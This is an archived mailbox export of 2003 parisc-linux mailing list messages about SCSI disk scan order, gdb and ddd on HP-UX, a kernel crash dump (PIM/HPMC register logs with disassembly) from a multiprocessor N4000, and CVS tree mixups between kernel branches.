Xref: news.gmane.org gmane.linux.ports.parisc:19325

On Sun, Aug 24, 2003 at 09:13:40PM +0200, Ralf Hildebrandt wrote:
> Hi!
> 
> Today I added a new SCSI disk, and hda -- my bootdisk -- became hdb -- no
> matter which SCSI ID I chose for the new disk.
> 
> The old disk has ID 6, and I can do whatever I want, once I add the new
> disk, I cannot boot, since the kernel doesn't find it's rootfs on hda
> -- since it's hdb now.
> 
> How can I add a new physical disk as hdb ?

Put the disks in the reverse order?

An example is that any A500 or rp2430 labels the drives as 'scsia' and
'scsib', but linux finds them in the reverse order. When only one drive is
in 'scsia' it's sda, but when a second drive is added to 'scsib' the
order is reversed ('scsia' becomes sdb and 'scsib' becomes sda).

c.



From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Added a new SCSI disk, hda became hdb
Date: Sun, 24 Aug 2003 22:42:12 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20030824214212.GB18834@parcelfarce.linux.theplanet.co.uk>
References: <20030824191340.GG5304@charite.de> <20030824203857.GD17595@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622719 30035 80.91.229.3 (22 Nov 2014 02:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:39 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 15:42:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 337E348A8
	for <parisc-linux@lists.parisc-linux.org>; Sun, 24 Aug 2003 15:42:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19r2cm-0001HG-87; Sun, 24 Aug 2003 22:42:12 +0100
Content-Disposition: inline
In-Reply-To: <20030824203857.GD17595@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19326

On Sun, Aug 24, 2003 at 04:38:57PM -0400, Carlos O'Donell wrote:
> Put the disks in the reverse order?
> 
> An example is that any A500 or rp2430 labels the drives as 'scsia' and
> 'scsib', but linux finds them in the reverse order. When only one drive is
> in 'scsia' it's sda, but when a second drive is added to 'scsib' the
> order is reversed ('scsia' becomes sdb and 'scsib' becomes sda).

This is because HPUX uses the ANSI-approved scan order -- 7,6,5,...,0
and Linux uses the PC-compatible scan order -- 0,1,2,...,7.  It's kind
of possible to control it by setting shost->reverse_ordering but it's
not easy to set this in any reasonable way.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Added a new SCSI disk, hda became hdb
Date: Sun, 24 Aug 2003 21:55:24 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030825035524.GB10969@dsl2.external.hp.com>
References: <20030824191340.GG5304@charite.de> <20030824203857.GD17595@systemhalted> <20030824214212.GB18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622720 30039 80.91.229.3 (22 Nov 2014 02:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:40 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 24 21:55:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id E9A6648AC; Sun, 24 Aug 2003 21:55:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030824214212.GB18834@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19327

On Sun, Aug 24, 2003 at 10:42:12PM +0100, Matthew Wilcox wrote:
> This is because HPUX uses the ANSI-approved scan order -- 7,6,5,...,0

Not true. HPUX scans the SCSI bus from 0-7 for narrow or 0-15 for wide.

Under HPUX, SCSI controllers are assigned instance numbers and the
kernel records those in /stand/ioconfig. The SCSI controller will
get the same instance number after reboot regardless of other IO
devices changing.

grant


From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Mon, 25 Aug 2003 12:31:50 +0400
Lines: 50
Approved: news@gmane.org
Message-ID: <3F6F4712B759A34ABD453A8B39C10D62DEED89@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622720 30041 80.91.229.3 (22 Nov 2014 02:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:40 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <varenet@esiee.fr>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 02:32:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gate.algorithm.aelita.com (unknown [212.176.18.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7081C485F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 02:32:45 -0600 (MDT)
Original-Received: from bagman.edm.com ([10.0.0.4]) by gate.algorithm.aelita.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35)
          with ESMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Mon, 25 Aug 2003 12:33:53 +0400
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Thread-Index: AcNpZPV9oVgovoLwQUum8sdrI9cjFwBfneiQ
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19328

I meant have you heard about ddd for HP-UX 11.00?

----
Lev Assinovsky
Aelita Software Corporation
O&S Core Division, Programmer
ICQ# 165072909


> -----Original Message-----
> From: Thibaut VARENE [mailto:varenet@esiee.fr]
> Sent: Saturday, August 23, 2003 1:56 PM
> To: Grant Grundler
> Cc: Lev Assinovsky; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb
> breakpoint
>=20
>=20
> -------------------
> > On Fri, Aug 22, 2003 at 09:13:37PM +0400, Lev Assinovsky wrote:
> > > Hi!
> > > 1. I meant just a hardcoded breakpoint (not hardware)
> > > Partially works just BREAK 4, 8. Though I need to do "jump" to=20
> next line=20
> > > to continue in gdb.
> >=20
> > ah ok=20
> > > 2. gdb doesn't work with shared libraries explicitly loaded by=20
> program.
> > > Could you please point to anybody from HP team?
> >=20
> > HP Team? Sorry but officially there is no HP parisc-linux team.
> > Most of us are interested in kernel hacking and less in
> > making gdb work.
> >=20
> > > 3. What about ddd?
> >=20
> > sorry - haven't looked at ddd.
> >=20
>=20
> ddd is a GUI frontend to gdb...
>=20
>=20
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> On vacation until Aug 25th
>=20
>=20


From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Mon, 25 Aug 2003 12:03:20 +0200
Lines: 283
Approved: news@gmane.org
Message-ID: <3F2E2C7700004E38@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622720 30043 80.91.229.3 (22 Nov 2014 02:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:40 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 04:03:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4065C4856
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 04:03:26 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19rE95-0006Xd-01; Mon, 25 Aug 2003 12:00:19 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 25 Aug 2003 12:03:20 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19329

>> btw: I countinue investigations but I still have to learn a lot about

>> how [id]tlb's cach are managed during cpu's startup...
>
>I thought this was a runtime problem (ie userspace <-> kernel
>interaction)
>
I still have to make some additional test and grab much more info.
In a previous mail (N4000 running SMP), I just report an interesting experience
(well for me, I would just like to reproduce it but now by collecting info
until crash and piminfo). After more thought, I figure out that printk()
just slow down the moment of panic. Never the less, where I am waiting a
panic (if I well understand Willy's idea), I got much 'itlb miss fault' followed
by 'dtlb miss fault'? So I would like to study now the early boot process
(specialy for the second cpu) to try to understand how caches (for shared
insn and data) are replicated into other CPU's [id]tlb.

> Ha yes, question: can I find PSW for each cpu in a piminfo?

yes

Can you tell me more: in a previous piminfo collected I got for CPU#3 (3
is the "address" of the second cpu)
[...]
-------  Processor 3 HPMC Information - PDC Version: 41.28   ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011036322  0xcb81800000000000
       

General Registers 0 - 31
00-03  0000000000000000  0000000010536c70  0000000010115e58  00000000103aaf64
04-07  0000000000000002  00000000103ac494  0000000000000001  0000000010527470
08-11  0000000000000001  000000008f1f45b8  000000008f3cebc0  000000001057dcb0
12-15  00000000faf005f0  0000000000028280  0000000000020000  00000000faf00548
16-19  00000000faf005d0  0000000000004000  0000000000016000  0000000000000001
20-23  0000000000006061  000000001044ec08  0000000010539c70  000000001041b130
24-27  0000000000000000  000000000800000f  0000000010527c70  0000000010527470
28-31  0000000000000480  000000008f1f4e30  000000008f1f4e40  000000001052a470


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000010  0000000000000000  00000000000000c0  0000000000000036
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001f0fd05cbd  0000000000000000  0000000010116050  0000000008000240
20-23  0000000000000000  0000000000000000  000000000806070f  0000000000000000
24-27  0000000000453000  000000007f1f2000  0000000000041020  000000ffff95c810
28-31  000000ffff95c810  5555555555555555  000000008f1f4000  0000000000008020

Space Registers 0 - 7
00-03  00000400          00000400          00000000          00000400
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010116054
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed2d000
System Requestor Address     = 0x000000fffed2c000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010586ec0  0000000000000002  00000000104c7b68  0000000000000420
08-11  0000000000000000  0000000000000802  0000000010527470  000000001058a000
12-15  00000000135a0000  0000000000000000  000000001017dc84  00000000103ceb94
16-19  00000000000009f0  000000008facf000  0000000010527470  00000000135a0000
20-23  00000000103aa184  fffffffffffffff4  00000000003f45a2  000000000000ba2e
24-27  0000999900000000  00009999035a0b70  00000000035a0b78  000000001040d980
28-31  000000001040d980  00000000ff915e20  0000000010185248  0000000000000016


Check Summary                = 0xcb81800000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301030800802004
CPU Status Register 0        = 0x3640c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x48e0000000000002
Read Short LOG               = 0xc18080ff80080014


-----------------  DEW 3 HPMC Information -  ------ 

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

Runway Control Log Reg            = 0x0006720000000000
Runway Address Data Log Reg Odd   = 0xfffffffffffc3f00
Runway Address Data Log Reg Even  = 0xfffffffffffc3f00
Runway Address Log Reg            = 0x0000000000000048
Runway Broad Error Log Reg        = 0x00000000000000dc

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X             ERR_ERROR       X            X   X       

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2001000000082004
Merced Error Overflow Reg         = 0x0000000000082000
Merced AERR Addr1 Log Reg         = 0x00c0000000300000
Merced AERR Addr2 Log Reg         = 0x0000000000f00000
Merced DERR  Log Reg              = 0x00c1100000000000
Merced Error Syndrome Reg         = 0x0000000052000000


-------  Processor 3  LPMC Information ------------------

[...] (all 0)


-------  Processor 3  TOC Information -------------------

[...] (all 0)

--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X       

Bus Requestor Address      = 0x0000000000000000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000080000
Error Overflow Reg         = 0x0000000000080000
AERR Address 1 Log Reg     = 0x0000000000000000
AERR Address 2 Log Reg     = 0xf800000000000000
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x000112800051cdc0
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



Bus 1 Log Information

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_TIMEOUT   X               X           

Bus Requestor Address      = 0xfffffffffed2c000
Bus Target Address         = 0x00000000f000a000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000000800
Error Overflow Reg         = 0x0000000000000800
AERR Address 1 Log Reg     = 0x08006000f000a000
AERR Address 2 Log Reg     = 0x6000b0002f700a10
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x0000000000000000
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE
 CW
-----------             -----                ------  ------   ----------------
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed00000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000007ff0034

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Mon Aug  11 12:56:02 GMT 2003    (20:03:08:11:12:56:02)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed40000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff01

Module Error Register   = 0x0000000007ff0034

[...]

Under which field name is it hiden?

Thanks again,
    Joel



btw: a preliminary pim analyse of above mentioned piminfo reports me:
[...]
Parse IAOQ = 0x000000001010b8cc for CPU[1]

Func: update_mmu_cache, Off: 0x4, Addr: 0x1010b8cc

    1010b8c0:	37 de 3f 01 	ldo -80(sp),sp
    1010b8c4:	00 00 00 00 	break 0,0
	...
000000001010b8c8 <update_mmu_cache>:

	...
    1010b8c8:	0f c2 12 c1 	std rp,-10(,sp)
    1010b8cc:	2b 6a 20 00 	addil 15000,dp,%r1
[...]

hmm very interesting (A yes I was much trying to debug my script then actualy
reading outputs: my bad :( )

[...]
Parse IAOQ = 0x0000000010116054 for CPU[3]

Func: smp_call_function, Off: 0x274, Addr: 0x10116054

    10116050:	08 00 02 40 	nop
    10116054:	0e a0 10 d3 	ldd 0(,r21),r19
    10116058:	0a 93 04 33 	sub r19,r20,r19
    1011605c:	ee 60 ff c5 	cmpib,*> 0,r19,10116044 <smp_call_function+0x264>



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] CVS mixups
Date: Mon, 25 Aug 2003 14:13:28 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3F2E2C7700004F23@ocpmta2.freegates.net>
References: <20030823142159.GM18834@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622721 30045 80.91.229.3 (22 Nov 2014 02:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:41 +0000 (UTC)
To: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 06:13:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E3744872
	for <parisc-linux@parisc-linux.org>; Mon, 25 Aug 2003 06:13:34 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19rGA4-0000B3-00; Mon, 25 Aug 2003 14:09:28 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 25 Aug 2003 14:13:28 +0200
In-Reply-To: <20030823142159.GM18834@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19330

>So... for the second time I messed up and committed 2.6 to the 2.4 tree.

Thanks for advise.

I just update this Monday morning and just notice that last Carlos's patch
(itlb_fault optmizaztion) were reverted (also). Accident? (one step beyond
:) )

>In my defence, this time we were trying the new style of imports so it's
>not too surprising I got something wrong (and nobody spotted the problem
>till too late...), but twice is too many.

[In french we say "never twice without thrice" ( :-) )]

>Short term fix: I'm going to merge the latest marcelo patch into our
>2.4 tree today.  Looks like that'll be 2.4.22-rc2.  That'll fix this
>cvs diff autogeneration breakage.

Cool (i am awaiting this for a long time :) )

>Long term fix: I'm going to rename the linux tree to linux-2.4.  This will
>cause some disruption since everyone with a cvs tree checked out will have
>to mangle it to work again.  I'll make a script available in build-tools
>to mangle your tree for you.

Thanks again,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Mon, 25 Aug 2003 14:16:24 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3F2E2C7700004F27@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622721 30047 80.91.229.3 (22 Nov 2014 02:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Lev Assinovsky" <LAssinovsky@algorithm.aelita.com>,
	"Thibaut VARENE" <varenet@esiee.fr>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 25 06:16:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DC064897
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Aug 2003 06:16:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19rGCt-00027X-00; Mon, 25 Aug 2003 14:12:23 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 25 Aug 2003 14:16:24 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19331

> I meant have you heard about ddd for HP-UX 11.00?

I compiled it successfully on my b180 with hpux-11.00 (but a long time ago)
and it was running fine (for the few I used).

hth,
    Joel

PS: Onto http://hpux.connect.org.uk/ there is available a very old release
(2.0). But you could try to ask them to compile a sd package for a new release.



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:57 2018
X-Mozilla-Status: 0011
